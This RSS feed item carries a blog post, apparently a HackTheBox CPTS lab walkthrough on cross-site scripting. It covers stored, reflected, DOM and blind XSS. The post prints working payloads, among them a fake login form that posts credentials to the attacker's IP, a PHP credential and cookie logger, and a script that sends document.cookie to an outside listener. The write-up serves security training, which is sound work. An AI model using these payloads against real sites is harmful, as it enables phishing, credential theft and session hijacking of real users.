<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by AmrKhaled on Medium]]></title>
        <description><![CDATA[Stories by AmrKhaled on Medium]]></description>
        <link>https://medium.com/@amr.offline?source=rss-a9d023a932e5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*EkH-_vIiDFzA8GWrKa77Rw.png</url>
            <title>Stories by AmrKhaled on Medium</title>
            <link>https://medium.com/@amr.offline?source=rss-a9d023a932e5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 05:48:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@amr.offline/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox-CPTS: XSS Exploitation Walk-through]]></title>
            <link>https://medium.com/@amr.offline/hackthebox-cpts-xss-exploitation-walk-through-0aeef06f7837?source=rss-a9d023a932e5------2</link>
            <guid isPermaLink="false">https://medium.com/p/0aeef06f7837</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[AmrKhaled]]></dc:creator>
            <pubDate>Fri, 05 Sep 2025 02:30:45 GMT</pubDate>
            <atom:updated>2025-09-05T02:30:45.472Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/803/0*0pgFhSkZSsSGwHJc.png" /></figure><h3><strong>Stored (Persistent) XSS</strong></h3><p>“The most severe form of XSS arises when malicious input is stored in the back-end database and later rendered to users. Think of it as if there was a person spreading poison over a wall — every passerby is affected without ever realizing it.”</p><p>To get the flag, simply use a JavaScript payload</p><pre>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*FhcNW9HU9RbnyYudtpxafQ.png" /></figure><h3>Reflected (Non-Persistent) XSS</h3><p>“The key difference between Stored XSS and Reflected XSS is that Reflected XSS is not stored on the back-end server. Instead, it occurs when user input is improperly processed and not filtered, causing the malicious code to be immediately reflected back to the user’s browser.”</p><h4>So if it doesn’t get stored, how is it useful?</h4><p>Usually, the payload is sent via a <strong>GET request</strong>, where parameters are included in the URL</p><p>Use the same payload to get the flag. Notice how the JavaScript payload is now included directly in the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*rWJ3Y0Qh_xxOp00fmnvc9A.png" /></figure><h3>DOM (Non-Persistent) XSS</h3><p>“DOM XSS is a hidden manipulation of the page’s own structure, tricking the browser into running your code as part of the site. Remember, it can occur through any client-side parameter.”</p><h4>DOM XSS works through two parts: Source and Sink.</h4><ul><li>“Source = where the data comes from — the JavaScript object that receives user input.</li><li>Sink = where the data executes — the function that outputs or writes the user input.”</li></ul><h4>So what if the sink function doesn’t properly sanitize the user input?</h4><p>Here are some dangerous sinks: element.innerHTML, outerHTML, document.write(), and many jQuery DOM writers such as .append(), .after(), .add(), and similar methods.&quot;</p><p>These functions are dangerous because they don’t filter user input and pass it directly into the DOM.”</p><p>For this part’s flag, you can use a payload that doesn’t contain a &lt;script&gt; tags within it, because it will just get ignored due to a security feature</p><pre>&lt;img src=&quot;&quot; onerror=alert(document.cookie)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*3SJ5Eb_6CR2BUeQ90IuMIw.png" /></figure><h3>XSS Discovery</h3><p>Utilize some of the techniques mentioned in this section to identify the vulnerable input parameter found in the above server. What is the name of the vulnerable parameter?</p><p>Go to the website, enter some random test values in the registration form, so you get the parameters to test on.</p><pre>python xsstrike.py -u &quot;http://94.237.50.221:30251/?fullname=ok&amp;username=ok&amp;password=ok&amp;email=ok%40mail.com&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QcKuAovo_uFuguqgSiv9sQ.png" /></figure><ul><li>And then you will find out that the email is vulnerable! and it’s reflected, as you can see</li></ul><h3>Phishing</h3><p>Try to find a working XSS payload for the Image URL form found at ‘/phishing’ in the above server, and then use what you learned in this section to prepare a malicious URL that injects a malicious login form. Then visit ‘/phishing/send.php’ to send the URL to the victim, and they will log into the malicious login form. If you did everything correctly, you should receive the victim’s login credentials, which you can use to login to ‘/phishing/login.php’ and obtain the flag.</p><p>Find a working XSS payload for the Image URL form at /phishing Craft a malicious URL that injects a fake login form, send it to the victim, and capture their credentials to obtain the flag.</p><pre>document.write(&#39;&lt;h3&gt;Please login to continue&lt;/h3&gt;&lt;form action=http://OUR_IP&gt;&lt;input type=&quot;username&quot; name=&quot;username&quot; placeholder=&quot;Username&quot;&gt;&lt;input type=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;Password&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Login&quot;&gt;&lt;/form&gt;&#39;);document.getElementById(&#39;urlform&#39;).remove();</pre><p>So the URL should look like this:</p><pre>http://10.129.133.123/phishing/index.php?url=document.write%28%27%3Ch3%3EPlease%20login%20to%20continue%3C/h3%3E%3Cform%20action%3Dhttp%3A%2F%2F10.10.14.169%3A8080%3E%3Cinput%20type%3D%22username%22%20name%3D%22username%22%20placeholder%3D%22Username%22%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%20placeholder%3D%22Password%22%3E%3Cinput%20type%3D%22submit%22%20name%3D%22submit%22%20value%3D%22Login%22%3E%3C/form%3E%27%29%3B</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XMyX9JNarjprVTZ13z0PQA.png" /></figure><p>Now, let’s set up our listener</p><pre>3mr5aled1@htb[/htb]$ mkdir /tmp/tmpserver<br>3mr5aled1@htb[/htb]$ cd /tmp/tmpserver<br>3mr5aled1@htb[/htb]$ nano index.php</pre><pre>&lt;?php<br>if (isset($_GET[&#39;username&#39;]) &amp;&amp; isset($_GET[&#39;password&#39;])) {<br>    $file = fopen(&quot;creds.txt&quot;, &quot;a+&quot;);<br>    fputs($file, &quot;Username: {$_GET[&#39;username&#39;]} | Password: {$_GET[&#39;password&#39;]}\n&quot;);<br>    header(&quot;Location: http://10.129.133.123/phishing/index.php&quot;);<br>    fclose($file);<br>    exit();<br>}<br>?&gt;</pre><pre>3mr5aled1@htb[/htb]$ sudo php -S 0.0.0.0:8080<br>PHP 7.4.15 Development Server (http://0.0.0.0:80) started</pre><p>Then you should head directly to “/phishing/send.php” and send your URL there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YxGIIn6RGqAUhwsVCCJDfg.png" /></figure><p>Here you have got the creds you need to get the flag in “/phishing/login.php”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gpNdwIlDmDqBS1dto9WvwA.png" /></figure><h3>Session Hijacking</h3><p>Through this module, we will discuss blind XSS, a vulnerability that occurs when it is triggered on a page to which a normal user doesn’t have access.<br>Blind XSS is often found in:</p><ul><li>Reviews</li><li>User Details</li><li>Support Tickets</li><li>HTTP User-Agent header</li><li>Contact Forms</li></ul><p>The main problem with blind XSS is that it’s also the reason why it’s called blind XSS; unlike normal (stored/reflected) XSS, <strong>the attacker doesn’t immediately see the result of their injected payload, meaning that you </strong>won’t be able to see how the input will be handled, but don’t worry, we have got that covered.</p><p>The answer is simple: just use a JavaScript payload that sends an HTTP request back to our server.</p><h4>Okay, let’s get the flag here. We have the following:</h4><p>Try to repeat what you learned in this section to identify the vulnerable input field and find a working XSS payload, and then use the ‘Session Hijacking’ scripts to grab the Admin’s cookie and use it in ‘login.php’ to get the flag.</p><p>We will be dividing this one into 2 parts <br>First, we identify the vulnerable input field, so let’s set up our listener</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*qiUekPeuDyxgEtCbQM9IVg.png" /></figure><p>Then let’s try some payloads. Here is the working one.</p><pre>&quot;&gt;&lt;script src=http://10.10.14.169:8080/PlaceTheInputFieldNameHere&gt;&lt;/script&gt;</pre><p>Test each input field until you identify the vulnerable one (in this case, the URL field).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*TJGKYjkJ1UV20Ws7Krpphw.png" /></figure><p>Now to inject that input field and grab the cookies, we should run our PHP server first.</p><p>Now we are gonna make two files index.php and script.js</p><pre>&lt;?php<br>if (isset($_GET[&#39;c&#39;])) {<br>    $list = explode(&quot;;&quot;, $_GET[&#39;c&#39;]);<br>    foreach ($list as $key =&gt; $value) {<br>        $cookie = urldecode($value);<br>        $file = fopen(&quot;cookies.txt&quot;, &quot;a+&quot;);<br>        fputs($file, &quot;Victim IP: {$_SERVER[&#39;REMOTE_ADDR&#39;]} | Cookie: {$cookie}\n&quot;);<br>        fclose($file);<br>    }<br>}<br>?&gt;</pre><pre>new Image().src=&#39;http://10.10.14.169:8080/index.php?c=&#39;+document.cookie;</pre><p>Now that the listener is running on port 8080 and the scripts are ready, we can inject the payload into the input field.</p><p>Payload Used:</p><pre>&quot;&gt;&lt;script src=http://10.10.14.169:8080/script.js&gt;&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gtir_px3C_Huxtm3TyuBHg.png" /></figure><p>Alright, we obtained the cookies, let’s go to the ‘login.php’ and add the cookie manually via the storage&gt;cookies tab to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c19AedzgZGflMQkIDgEiDw.png" /></figure><h3>Skills Assessment</h3><blockquote>What is the value of the ‘flag’ cookie?</blockquote><p>First, I analyzed the page for any input fields. The page contained multiple input fields, including one under the ‘Welcome to my security blog’ section. Testing revealed the vulnerable field. I then set up a PHP listener, as in the previous examples, to confirm which input was exploitable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v9PExeCs-pkdAEihIXEKPg.png" /></figure><p>Thanks for reading…</p><p>Made by: Amr Khaled</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0aeef06f7837" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>